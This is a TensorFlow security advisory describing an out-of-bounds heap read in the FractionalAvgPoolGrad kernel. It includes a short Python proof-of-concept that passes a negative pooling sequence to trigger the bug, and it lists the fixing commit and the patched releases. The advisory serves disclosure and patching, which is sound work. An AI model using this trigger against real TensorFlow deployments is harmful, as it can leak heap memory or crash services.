Out of bounds read in Tensorflow

Impact

The [implementation of FractionalAvgPoolGrad](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_avg_pool_op.cc#L209-L360) does not consider cases where the input tensors are invalid allowing an attacker to read from outside of bounds of heap:

```python

import tensorflow as tf

@tf.function

def test():

y = tf.raw_ops.FractionalAvgPoolGrad(

orig_input_tensor_shape=[2,2,2,2],

out_backprop=[[[[1,2], [3, 4], [5, 6]], [[7, 8], [9,10], [11,12]]]],

row_pooling_sequence=[-10,1,2,3],

col_pooling_sequence=[1,2,3,4],

overlapping=True)

return y

test()

`

Patches

We have patched the issue in GitHub commit [002408c3696b173863228223d535f9de72a101a9](https://github.com/tensorflow/tensorflow/commit/002408c3696b173863228223d535f9de72a101a9).

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
